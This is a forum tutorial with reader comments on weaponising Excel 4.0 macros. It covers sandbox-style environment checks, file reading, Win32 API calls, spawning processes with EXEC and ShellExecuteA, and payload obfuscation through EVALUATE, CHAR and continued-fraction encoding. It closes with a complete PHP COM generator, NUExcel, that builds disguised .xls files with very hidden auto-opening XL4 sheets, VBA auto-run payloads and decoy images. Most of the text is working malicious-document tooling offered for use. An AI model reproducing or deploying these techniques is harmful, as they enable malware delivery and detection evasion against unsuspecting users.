Excel | Primi passi

In the name of Allah, the most beneficent, the most merciful.


Introduction

“I believe in the existence within myself of a power.
From this belief derives my will to exert it.”

I’ve always considered practice a golden key to further comprehend a given subject.
Experimentation expands theory and stimulates creativity, as there is virtually no limit to what could be learnt or done.

Excel - Basics

In Excel, the initial file on which the user operates is called a Workbook that initially is composed of three Worksheets as seen below:

image

Each single sheet consists of alphabetic columns and numeric rows, with the selected cell name indicated in an Edit control above (e.g.: B2):

image
The user has the possibility to automate calculations in a Worksheet by using Formulas. Once defined they can easily applied to other adjacent cells as well:
image

image

image

Furthermore, multiple functions are provided for logical operations such as an IF case:

image
This translates to:

=IF(OR(A1<A2; FALSE); 1; 0)

Macros

Macros are declarations of one to several procedures, which either have a return-value, in which case they are considered a Function or in case they do not have one they are labeled as a Sub.
Excel also comes with a Visual Basic Editor that is efficient for real-time creation and testing of Macros.
By default it can be invoked using the Hotkey ALT+F11 and looks like this:

image
In case of us adding macros the file extensions will have to be either XLS or XLSM to support these macros:
image

image
Similarly a new icon already displays mistrust towards XLSM files du to macros being able to cause harm without a user actively knowing…
Additionally, when these file with macros are opened, a security warning is displayed to raise awareness of potential risks, and asks if the user consents to enable the macros.
image

image
This certainly should not be done unless our document have been thoroughly analysed.

Macros - XL4 Edition

XL4 are considered legacy macros that are still supported in newer Excel versions.
Their powerful nature allows them to perform multiple actions.
They can be executed either by:

  • using VBA’s ExecuteExcel4Macro, or
    image
  • inserting a seperate Excel 4.0 module.
    image image

Running and debugging an Excel 4.0 macro:

In case we have inserted a macro in our Excel sheet like seen below we can execute and debug it a follows.

  1. First we select execute from the context menu
    image
  2. Then we select which cell (==name) to execute
    image
  3. Finally we have to confirm out choices and are good to go!
    image
    In our case a simple message will be displayed when upon completion:
    image

Macros - Demonstrating advanced funcionality

  • Identifying the current runtime environment:
    For this test we need a mix of SET.NAME, GET.WORKSPACE and and IF condition.
    The function GET.WORKSPACE requires a Type_num integer, which specifies the information to be retrieved.
    image
    SET.NAME assigns its return-value to a variable called ENV, It is then instructed using the IF to QUIT if it cannot not FIND (case-sensitive) Windows in ENV.
    Additionally, functions like SEARCH, or GOTO to redirect execution to a specific cell can be used aswell.
    This full macro looks like this:

     =SET.NAME("ENV", GET.WORKSPACE(1))
    =IF(FIND("Windows", ENV), ALERT(ENV), QUIT())
    =HALT()
    

    image


  • Reading one or multiple files:
    Even from within Excel we can access files on disks. In this setup we have a folder and two files as follows:
    image
    image
    We can traverse directories with the DIRECTORY function before obtaining a directorys file list with FILES, which returns an array.
    In our case this is: {"111.", "222."}.
    We can access files with FOPEN, which takes an index from a file list array and a mode:
    image
    We can continue to read the contents with FREADLN until EOF is hit.
    For some entertainment we can utilize the BEEP call, which simply emits a sound :smile:.

    =BEEP()
    =DIRECTORY("C:\000\")
    =SET.NAME("FLIST", FILES())
    =FOR("IDX", 1, COLUMNS(FLIST))
    =SET.NAME("FNUM", FOPEN(INDEX(FLIST, IDX), 2))
    =WHILE(NOT(FPOS(FNUM) > FSIZE(FNUM)))
    =ALERT("L~: " & FREADLN(FNUM))
    =NEXT()
    =FCLOSE(FNUM)
    =NEXT()
    =HALT()
    

    image image


  • Calling external functions:
    We can also invoke external functionality from the Win API, because why not!
    For example we can REGISTER the function user32!SwapMouseButton with “AA” as its type_value.
    It reverses or restores the role of the left and right mouse buttons:

    image || image
    We have to use a CALL to invoke the cell which was used to REGISTER the function.
    GET.WORKSPACE with argument 44 is able to extract the location of the loaded DLL.
    image
    Putting that all together with the knowledge from the prior examples leaves us with the following macro code:

    =REGISTER("user32", "SwapMouseButton", "AA")
    =ALERT("Library at " & GET.WORKSPACE(44), 3)
    =CALL(A1, TRUE)
    =UNREGISTER(A1)
    =HALT()
    

    When finished it yields:
    image
    And mouse buttons have been indeed swapped!


  • Executing binaries on the FS:
    So far this was all just for fun and some file system enumeration but binaries can be executed from within excel as well.
    For example we can spawn the calculator by calling EXEC with one of the following arguments:
    image
    =EXEC("CALC", 1)
    =HALT()
    
    Alternatively, we can also simulate key presses by using KEYS.SEND.
    However, it’ll be slower, since there has to be a small timeout delay of abour 2~4 seconds for some reason before the process can run:
    image
    =EXEC("CMD", 2)
    =WAIT(NOW() + "00:00:02")
    =SEND.KEYS("CALC~", TRUE)
    =HALT()
    
    As a second example I’ll show that a call to ShellExecuteA is also feasible…
    image
    We define the following arguments:
    • hwnd = -1(J(Int)),
    • lpFile = “CALC”(C(Char *))
    • nShowCmd = 5(H(UInt16_t))
    • remaining is to be ignored with 0(J(Int)).*
    =CALL("shell32", "ShellExecuteA", "JJJCJJH", -1, 0, "CALC", 0, 0, 5)
    =HALT()
    
    Again, an alternative to that can be using INITIATE that prepares a DDE channel with an arbitrary application, except this method warns the user!
    =INITIATE("CALC", 0)
    


    image

  • Obsfucation:
    A cell’s FORMULA can be overwritten, consequently, the payload can be concealed.
    If A1 pre-execution contains:

    =FORMULA("=EXEC(""CALC"")", A2)
    

    On execution, A2 will be populated with the result, and executed right after.

    =EXEC("CALC")
    

    Another technique is using EVALUATE:

    =ALERT(EVALUATE(CHAR(61) & CHAR(70) & CHAR(105) & CHAR(108) & CHAR(101) & CHAR(115) & CHAR(40) & CHAR(41)))
    

    Once we execute this we get the following:
    image
    To fine tune this obfuscation technique we can use @Emparetiw_Aparajdm’s method for Continued Fraction Data Encoding!
    His suggestion is to concatenate ASCII codes in order to form a nominator.
    The key denominator is to be randomly generated.
    The decimal codes need to be padded(3) to ensure information sufficiency:


    Here the x being the result of the devision u/v.
    For example by using this method the string “=EX” can be encoded as 061069088.
    The following PHP script implements this exact behavior:

    <?php
    $u = 61069088;
    $v = 41758269584;
    $e = [];
    
    while(($r = $u % $v) != 0)
    {
    	$a = intval($u / $v);
    	$u = $v;
    	$v = $r;
    	array_push($e, $a);
    }
    
    var_dump($e);
    ?>
    

    The script yields the following result:
    image
    That chain of a0, a1, a2, .., a17 can be used to reverse the process, multiplied by v will yield u.
    The obtained array is to be reversed(array_reverse) and stored in an Excel row.
    In another row, the denominator(aka key) will be stored.
    image
    Reversing it is easily done with the following macro:

    =SET.NAME("P", 0)
    =FOR.CELL("N", A1:A18, FALSE)
    =SET.NAME("P", (P + N) ^ -1)
    =NEXT()
    =SET.VALUE(B2, TEXT(CEILING((P ^ -1) * B1, 1), REPT(CHAR(48), 3*3)))
    =ALERT(B2)
    =FOR("H", 0, 2)
    =SET.VALUE(B3, B3 & CHAR(MID(B2, H*3 + 1, 3)))
    =NEXT()
    =ALERT(B3)
    =HALT()
    

    image image

    Excel 4.0 Functions

Automatic malicious-document generation

“For the seeker of truth nothing takes precedence over the truth,
and there is no disparagement of the truth,
nor belittling either of him who speaks it or of him who conveys it.”

My local test environment had XAMPP already installed, a slight modification of its php.ini allows us to use COM extensions:
image
Additionally, us allowing VBProject modification programmatically is also required.
image
Now, pretty much everything can be done with the Excel object model
From spawning EXCEL.EXE to creating an entire document that fits our needs!
I’ll be using OleView .NET to explore registered COM objects.
It makes our life a lot easier!
We can start by doing:
image || image
Members of a COM object can be identified by fetching the Typelib.
For that purpose, PHP provides a function called com_print_typeinfo.


We can use it as follows:

$XL = new COM('Excel.Application') or die(0);
com_print_typeinfo($XL);

The result is a whole page of all the Elements of our XL object.
All these properties can be used to tweak the nature of the document that we’re about to create
We’ll start by looking at three important ones of different nature.

image
The first property allows to get or set the state of the window visibility.
The second is a collection of all open Workbooks.
The third is a method, and it simply terminates the process.
Putting that knowledge to use in our PHP script:

$XL->Visible = TRUE;
$WB = $XL->Workbooks;
com_print_typeinfo($WB);
Sleep(60);
$XL->Quit();

When executed Excel becomes visible in the taskbar, which is essential for debugging.
image
However we’re just greeted with the following Excel window…
This does not seem quite useful for now.
image
This beehavior occurs, because initially the Workbooks count is 0, hence the Excel window is empty.
image

printf("Count: %d", $XL->Workbooks->Count);
$WB = $XL->Workbooks->Add();

image
To add one, we must use Workbooks.Add(), the returned object is the new Workbook.
image
The workbook by default holds $XL->SheetsInNewWorkbook(3) worksheets.
This corresponds to the usual Sheet1, Sheet2, Sheet3
The amount of workbooks is stored in an object called Worksheets
image
The same Excel object reference list also offers the SaveAs function with all meta data fields we can set by hand when using the GUI…:

/* DISPID=1925 */ function SaveAs(
/* VT_VARIANT [12] [in] */ $Filename, /* VT_VARIANT [12] [in] */ $FileFormat,
/* VT_VARIANT [12] [in] */ $Password, /* VT_VARIANT [12] [in] */ $WriteResPassword,
/* VT_VARIANT [12] [in] */ $ReadOnlyRecommended, /* VT_VARIANT [12] [in] */ $CreateBackup,
/* ? [29] [in] */ $AccessMode, /* VT_VARIANT [12] [in] */ $ConflictResolution,
/* VT_VARIANT [12] [in] */ $AddToMru, /* VT_VARIANT [12] [in] */ $TextCodepage,
/* VT_VARIANT [12] [in] */ $TextVisualLayout, /* VT_VARIANT [12] [in] */ $Local ) { }

All the supported file extensions by Excel are stored in an enum called XlFileFormat, which is described in detail over @ MSDN.

Anyhow, back to the worksheets object and its Add() method:

/* DISPID=181 */ /* VT_DISPATCH [9] */ function Add(
/* VT_VARIANT [12] [in] */ $Before, /* VT_VARIANT [12] [in] */ $After,
/* VT_VARIANT [12] [in] */ $Count, /* VT_VARIANT [12] [in] */ $Type) { }

image
This shows that we can create an XL4 sheet if we pass xlExcel4IntlMacroSheet(4) as the type.
Excel4IntlMacroSheets.Add() method accomplishes the same task, but does not require any arguments:
image
When putting that knowledge to use in our PHP script as follows:

define('xlExcel4IntlMacroSheet', 4);
$M1 = $WB->Worksheets->Add(NULL, NULL, 1, xlExcel4IntlMacroSheet);
$M2 = $XL->Excel4IntlMacroSheets->Add();

We get validation of our done research in form of:
image
Two new XL4 macro sheets were successfully created.
Now, due to the new changes Excel refuses to just exit and asks if we’d like to save the file.
We can luckily remove this feature by modifying the boolean value of Application.DisplayAlerts and set it to FALSE:
image

$XL->DisplayAlerts = FALSE;

Manipulating a worksheet’s content is the next thing for us to do!

com_print_typeinfo($M1);

image
For example we can tweak the Visible element in three possible ways:
{xlSheetVisible(-1), xlSheetHidden(0), xlSheetVeryHidden(2)}.

define('xlSheetHidden', 0);
define('xlSheetVeryHidden', 2);
$M1->Visible = xlSheetHidden;
$M2->Visible = xlSheetVeryHidden;

image || image
This results in the two added sheets being hidden.
However, $M1 can still be made visible by a normal user.
Some more interesting cell property elements:
image
The value of a cell can hold plain text (e.g.: AAABBBC) or a result (e.g.: 8, the SUM of A1;A2) of a formula.
image

$WS = $WB->Worksheets[1];
Sleep(60);
printf("Formula: %s<br>Value: %s", $WS->Cells[1][1]->Formula, $WS->Cells[1][1]->Value);

image

Ultimately, cells can be accessed as a 2-dimensional array starting with Index = 1.
We can easily simulate that within our PHP script:

$M2->Cells[3][2]->Select(); // [Column][Row] Indexing

image

$M2->Cells(3, 2)->Select(); // (Row, Column) Indexing

image
Next, the ClearContents procedure role (DISPID=113) clears both the value and an underlying formula of a specified cell.

Putting it all together

Putting all that prior theory together we can create a simple PoC with the following snippets below.

Let’s define two payloads 0000 and 0001 in form of .vbs scripts as follows:

# 0000.vbs
=EXEC("calc")
=HALT()
# 0001.vbs
Sub Workbook_Open()
	MsgBox "AAAA"
End Sub

A simple NUExcel.php library that generates documents could look as follows:

<?php
define('xlExcel8', 56);
define('xlExcel4IntlMacroSheet', 4);

define('xlSheetHidden', 0);
define('xlSheetVeryHidden', 2);
define('xlSheetVisible', -1);

define('CDirectory', getcwd());
define('Payloads', glob("payloads/*.vbs", GLOB_NOSORT));

class DirtyDebug
{
	function DisplayElements($Object)
	{
		$Info = com_print_typeinfo($Object);
		print($Object);
	}
}

class NUExcel extends DirtyDebug
{
	private $XL, $WB;
	public  $Name;
	
	function RName()
	{
		$this->Name = sprintf("%s/doc%d.xls", CDirectory, rand(1, 14782));
	}
	
	function CreateInstance($Visible = FALSE)
	{
		$this->XL = new COM('Excel.Application') or die(0);
		$this->WB = $this->XL->Workbooks->Add();
		
		$this->XL->Visible = $Visible;
		$this->XL->DisplayAlerts = FALSE;
		
		return TRUE;
	}
	
	function EndInstance($Save = TRUE)
	{
		if ($Save)
		{
			$this->RName();
			$this->WB->SaveAs($this->Name, xlExcel8);
		}
		
		$this->WB->Close();
		$this->XL->Quit();
	}
	
	function CreateXL4Sheet()
	{
		$WC = $this->WB->Worksheets;
		return $WC->Add(NULL, NULL, 1, xlExcel4IntlMacroSheet);
	}
	
	function XL4MacroVisibility($MSheet, $Code)
	{
		if($MSheet && in_array($Code, array(xlSheetHidden, xlSheetVeryHidden, xlSheetVisible)))
		{
			$MSheet->Visible = $Code;
		}
	}
	
	function GetCell($Sheet, $RNum, $CNum)
	{
		return $Sheet->Cells($RNum, $CNum);
	}
	
	function GetSetCellData($Cell, $Formule = TRUE, $Data = '')
	{
		$Get = TRUE;
		
		if(strlen($Data))
			$Get = FALSE;
		
		if($Formule)
		{
			if($Get)
				return $Cell->Formula;
			
			$Cell->Formula = $Data;
		}
		else
		{
			if($Get)
				return $Cell->Value;
			
			$Cell->Value = $Data;
		}
		
		return;
	}
	
	function PayloadName($Index)
	{
		$Name = NULL;
		
		if($Index >= 0 && $Index < count(Payloads))
		{
			$Name = Payloads[$Index];
		}
		
		return $Name;
	}
	
	function WriteXL4Payload($MSheet, $FNum, $CNum = 1, $RNum = 1)
	{
		$F = $this->PayloadName($FNum);
		if (! $F)
			return;
		
		if(($Handle = fopen($F, 'r')) != FALSE)
		{	
			do
			{
				$this->GetSetCellData($this->GetCell($MSheet, $RNum++, $CNum), TRUE, trim(fgets($Handle)));
			} while(! feof($Handle));
		}	
	}
	
	function ClearXL4Row($MSheet, $CNum = 1, $RNum = 1)
	{
		while(($Cell = $this->GetCell($MSheet, $this->$RNum++, $CNum)) && strlen($this->GetSetCellData($Cell, FALSE)))
		{
			$Cell->ClearContents();
		}
		return TRUE;
	}
	
	function RunMacro($MName)
	{
		return $this->XL->Run($MName);
	}
	
	function SetCellName($Sheet, $CNum, $RNum, $CName)
	{
		$this->GetCell($Sheet, $RNum, $CNum)->Name = $CName;
	}
	
	function GetComponents()
	{
		return $this->WB->VBProject->VBComponents;
	}
	
	function WriteVBAPayload($FNum)
	{
		$F = $this->PayloadName($FNum);
		if (! $F)
			return;
		
		$CM = $this->GetComponents();
		$CN = $this->WB->CodeName;
			
		if(! empty($CN))
		{
			$Module = $CM[$CN]->CodeModule;
			$Module->AddFromFile(realpath($F));
			$Module->AddFromString(chr(32));
		}
	}
	
	function GetWorksheet($Index)
	{
		$WS = $this->WB->Worksheets;
		if($WS->Count >= $Index)
			return $WS[$Index];
		return NULL;
	}
	
	function InsertPicture($Sheet, $File, $Width = -1, $Height = -1)
	{
		if($Sheet)
			$Sheet->Shapes->AddPicture(realpath($File), FALSE, TRUE, 0, 0, $Width, $Height);
	}
}
?>

Our main routine importing our written library results in a rather short script!

<?php
include 'NUExcel.php';

function Main()
{
	$NEntry = new NUExcel;
	$NEntry->CreateInstance(TRUE);
	$MS = $NEntry->CreateXL4Sheet();
	$NEntry->WriteXL4Payload($MS, 0);
	$NEntry->SetCellName($MS, 1, 1, "Auto_Ouvrir"); // Auto_Open
	$NEntry->XL4MacroVisibility($MS, xlSheetVeryHidden);
	$NEntry->WriteVBAPayload(1);
	$NEntry->InsertPicture($NEntry->GetWorksheet(1), "images/image.png");
	$NEntry->EndInstance();
	
	if($NEntry->Name)
	{
		printf("File at: %s", $NEntry->Name);
	}
}

Main();
?>

The result is the following file:
image
Obviously, it’s totally legit looking! :hugs:
image

image || image
We can use the .htaccess file to process a XLSX file as PHP.

AddHandler application/x-httpd-php .xlsx

image

Final thoughts

There is not much left to be said.
However, an idea will await a passionate individual that’ll make it a reality.
Will it be you?

VBA Pervertor: A generator of random reversible-sequence of arithmetic operations(XOR, ADD, SUB, etc) to encode individual bytes.

Inspirations

“Ma dimmi cosa resta in questa stanza quando la luce si spegne?
Niente.”

Pervert world wide - Z0MBiE/29A
On Polymorphic Evasion - Phantasmal Phantasmagoria
On First Philosophy - Al-Kindi
Marquis de Puységur

Thanks

To my father without whom this article wouldn’t have been possible to write.
To Da, To, Pr, Ad, Ka, Mwo, Mt, Pw, Xl, Zi, Mz (y’all know who you are)
;

To @ricksanchez who made the article a million times better! :heart:
To @pry0cc, @Cry0l1t3 for not hesitating to offer help.
To @jeff for the the encouragement.
To @Leeky, @_py, @dtm, @Danus and all of 0x00sec for being amazing peoples.

End

Limits are there to be broken, expectations to be surpassed, existence to be proved.

I am the nobody.
I am an addict.
I am madness personified.

~ exploit (out)

13 Likes

I love this! Amazing article! I’ll sure use this soon :smiling_imp:

4 Likes

@Danus Stop reading that! It’s not done yet xD. You better re-read it soon :smiley:

4 Likes

Concealing payload inside cells? I loved it :heart: :smile:
The other day I saw something similar in some msword pest I had been analysing. Malicious payload was concealed inside a Textbox (not visible to user). Then its contents were fetched and executed by a Macro. If you didn’t pay attention you could misidentify the macro code as benign. It was very simple yet a clever trick imo.

2 Likes

Thank you for this tutorial. I love the screen captures you made. Even I can understand it :grin:. Is it a virtual machine?

1 Like